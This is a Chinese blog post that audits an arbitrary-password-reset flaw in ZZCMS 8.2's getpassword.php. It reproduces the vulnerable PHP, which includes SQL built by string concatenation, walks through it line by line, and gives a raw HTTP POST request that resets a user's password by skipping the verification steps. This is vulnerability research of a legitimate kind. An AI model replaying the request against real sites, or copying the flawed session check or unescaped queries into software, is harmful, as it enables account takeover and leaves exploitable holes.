ZZCMS8.2任意用户密码修改漏洞代码分析(每日一洞)

 

前言

这几天感冒很难受,再加上比赛的培训,估计后面会两天一篇。
这个小型CMS前段时间我也挖到了很多洞,这次就找seebug发的一篇来做审计。

环境

Web: phpstudy
System: Windows 10 X64
Browser: Firefox Quantum
Python version : 2.7

漏洞详情

代码位置和代码

  • 位置
    \one\getpassword.php
  • 代码
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    <?php
    if(!isset($_SESSION)){session_start();}
    include("../inc/conn.php");
    include("../inc/top2.php");
    include("../inc/bottom.php");

    $action = isset($_POST['action'])?$_POST['action']:"";

    $file="../template/".$siteskin."/getpassword.htm";
    if (file_exists($file)==false){
    WriteErrMsg($file.'模板文件不存在');
    exit;
    }
    $fso = fopen($file,'r');
    $strout = fread($fso,filesize($file));

    $stepall=strbetween($strout,"{step1}","{/step4}");
    $step1=strbetween($strout,"{step1}","{/step1}");
    $step2=strbetween($strout,"{step2}","{/step2}");
    $step3=strbetween($strout,"{step3}","{/step3}");
    $step4=strbetween($strout,"{step4}","{/step4}");

    if ($action==""){
    $strout=str_replace("{step1}","",$strout) ;
    $strout=str_replace("{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    }

    if ($action=="step1"){
    $username = isset($_POST['username'])?$_POST['username']:"";
    $_SESSION['username']=$username;
    checkyzm($_POST["yzm"]);
    $rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
    $row=fetch_array($rs);
    $regmobile=$row['mobile'];
    $regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
    $regemail=$row['email'];
    $regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

    if ($regmobile==''){
    $regmobile_show='无手机号信息,无法用手机找回密码';
    }

    if (sendsms=="Yes"){
    $getpass_method="<select name='getpass_method' id='getpass_method' class='biaodan'>";
    $getpass_method=$getpass_method." <option value=''>请选择验证方式</option>";
    $getpass_method=$getpass_method." <option value='".$regmobile."'>手机:".$regmobile_show."</option>";
    $getpass_method=$getpass_method." <option value='".$regemail."'>邮箱:".$regemail_show."</option>";
    $getpass_method=$getpass_method." </select>";
    }else{
    $getpass_method="发验证码到注册时所填邮箱:".$regemail_show;
    $_SESSION['getpass_method']=$regemail;//只为email时,AJAX不传值,直接把值设到这里
    }

    $strout=str_replace("{step2}","",$strout) ;
    $strout=str_replace("{/step2}","",$strout) ;
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
    $strout=str_replace("{#getpass_method}",$getpass_method,$strout) ;
    $strout=str_replace("{#username}",$_SESSION['username'],$strout) ;

    }elseif($action=="step2"){

    $strout=str_replace("{step3}","",$strout) ;
    $strout=str_replace("{/step3}","",$strout) ;
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;

    }elseif($action=="step3" && @$_SESSION['username']!=''){

    $passwordtrue = isset($_POST['password'])?$_POST['password']:"";
    $password=md5(trim($passwordtrue));
    query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");

    $strout=str_replace("{step4}","",$strout) ;
    $strout=str_replace("{/step4}","",$strout) ;
    $strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
    $strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
    $strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
    $strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;
    }else{
    $strout=str_replace("{step1}".$stepall."{/step4}","错误",$strout) ;
    }
    $strout=str_replace("{#siteskin}",$siteskin,$strout) ;
    $strout=str_replace("{#sitename}",sitename,$strout) ;
    $strout=str_replace("{#siteurl}",siteurl,$strout) ;
    $strout=str_replace("{#sitebottom}",sitebottom(),$strout);
    $strout=str_replace("{#sitetop}",sitetop(),$strout);
    echo $strout;
    session_write_close();
    ?>

漏洞代码执行

先注册一个测试账号:

然后退出点找回密码链接:http://zzcms.test/one/getpassword.php
用burp抓包:

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /one/getpassword.php HTTP/1.1
Host: zzcms.test
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://zzcms.test/one/getpassword.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 91
Cookie: PHPSESSID=hir89a7lp85ocl68ls926f9nm0; bdshare_firstime=1520265024224
Connection: close
Upgrade-Insecure-Requests: 1

&password=test&action=step3&submit=%E4%B8%8B%E4%B8%80%E6%AD%A5

执行结果

遇到问题

可能第一次抓包然后改包重放会出现错误,因为第一次SESSION还没有写入,所以会检测不到。

分析过程

  • 我们来一行一行分析这个文件是如何执行的。
    2行是判断有没有设置$_SESSION,如果没有就执行session_start(),有关session的可以去PHP的官方文档 观看:http://php.net/manual/zh/book.session.php

    3-5行是包含文件,conn.php里面有包含config.php是数据库的连接信息,等下会有执行数据库的操作。

    6行判断是否有post过来action这个值,有就赋值保持原本的值,如果没有就赋值空给$action

    7行把$siteskin的值在config.php可以找到,把getpassword.htm这个模版的路径赋值给$file

    8-11行是判断这个模版文件存不存在,如果不存在就退出。

    12fopen作用是把模版文件的资源流绑定到$fso上面

    13行用fread读取文件内容然后赋值到$strout上面

\one\getpassword.php line:1-15

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
if(!isset($_SESSION)){session_start();}
include("../inc/conn.php");
include("../inc/top2.php");
include("../inc/bottom.php");
$action = isset($_POST['action'])?$_POST['action']:"";
$file="../template/".$siteskin."/getpassword.htm";
if (file_exists($file)==false){
WriteErrMsg($file.'模板文件不存在');
exit;
}
$fso = fopen($file,'r');
$strout = fread($fso,filesize($file));

  • 这段我们先分析getpassword.php文件的第一行,里面用了一个函数方法strbetween,我们跳到function.php这个文件分析。
    1行就是接收刚才传过来的三个值分别是$strout,{step1},{/step4}

2行用strpos查询上面传过来$strout中查找{step1}的位置,加上用strlen统计{step1}的长度再加上$startadd

4行赋值给$b的意思是从{step1}的位置开始查找{/step4}的位置

5行用substr作用是返回从$a的位置到$b-$a位置的内容,也就是{step1}到后面{/step4}中间的内容,可以去getpassword.htm文件对比下就晓得了。

再回到getpassword.php$step1-$step4都是一样,是为了方便下面的替换。

\one\getpassword.php line:17-21

1
2
3
4
5
$stepall=strbetween($strout,"{step1}","{/step4}");
$step1=strbetween($strout,"{step1}","{/step1}");
$step2=strbetween($strout,"{step2}","{/step2}");
$step3=strbetween($strout,"{step3}","{/step3}");
$step4=strbetween($strout,"{step4}","{/step4}");

\inc\function.php line:588-594

1
2
3
4
5
6
7
function strbetween($str,$start,$end,$startadd=0) { 
$a= strpos($str,$start)+strlen($start)+$startadd;//在起始标识$start所在位后追加数字,如取src="后的字符时,双引号无法直接表示,所以加这个startadd可以解决这种问题
if (strpos($str,$start)!==false){
$b= strpos($str,$end,$a);//必须定起始位置
return substr($str,$a,$b-$a);
}
}

  • 1行判断$action是否为空,也就是我们刚刚打开忘记密码的页面。

    2-6行的作用是把{step1}{/step1}字符串替换为空,然后{step2}位置到{/step2}位置中间的内容全部替换为空,下面依次类推。

\one\getpassword.php line:23-29

1
2
3
4
5
6
7
if ($action==""){
$strout=str_replace("{step1}","",$strout) ;
$strout=str_replace("{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{step4}".$step4."{/step4}","",$strout) ;
}

  • 1就是我们输入验证码和用户名点击下一步的内容了。

    2-3行把$_POST['username']的值赋值给$_SESSION['username']

    4-10行是先验证验证码是否正确,然后数据库查询,查询出来的手机号码和邮箱的值分别赋值给$regmobile$regemail

\one\getpassword.php line:31-40

1
2
3
4
5
6
7
8
9
10
if ($action=="step1"){
$username = isset($_POST['username'])?$_POST['username']:"";
$_SESSION['username']=$username;
checkyzm($_POST["yzm"]);
$rs=query("select mobile,email from zzcms_user where username='" . $username . "' ");
$row=fetch_array($rs);
$regmobile=$row['mobile'];
$regmobile_show=str_replace(substr($regmobile,3,4),"****",$regmobile);
$regemail=$row['email'];
$regemail_show=str_replace(substr($regemail,1,2),"**",$regemail);

  • 这部分是最重要的,这部分验证不安全,如果从一个开发人员角度出发,只要是能完成修改密码这一个功能就行了,但是安全往往就会出现在这个疏漏。

    1行,判断$action的值是否为step3$_SESSION['username']的值是否为空,这里应该验证的是$_SESSION['username']==$username,刚才第一步post过来的用户名。

    下面的内容就是判断密码是否有传值过来,然后将密码做MD5加密在去update数据库的数据。

    所以我们构造的POST就只要password就行了

\one\getpassword.php line:73-84

1
2
3
4
5
6
7
8
9
10
}elseif($action=="step3" && @$_SESSION['username']!=''){
$passwordtrue = isset($_POST['password'])?$_POST['password']:"";
$password=md5(trim($passwordtrue));
query("update zzcms_user set password='$password',passwordtrue='$passwordtrue' where username='".@$_SESSION['username']."'");
$strout=str_replace("{step4}","",$strout) ;
$strout=str_replace("{/step4}","",$strout) ;
$strout=str_replace("{step1}".$step1."{/step1}","",$strout) ;
$strout=str_replace("{step2}".$step2."{/step2}","",$strout) ;
$strout=str_replace("{step3}".$step3."{/step3}","",$strout) ;
$strout=str_replace("{#username}",@$_SESSION['username'],$strout) ;

结束

用Python写这个漏洞的工具好像没什么可写的就是发包修改数据,要写也不难。早上很冷起床赶着写了这篇文章,谢谢大家的支持!

源码下载地址:https://pan.lanzou.com/i0lm7za

#参考
https://www.seebug.org/vuldb/ssvid-97130

http://php.net/docs.php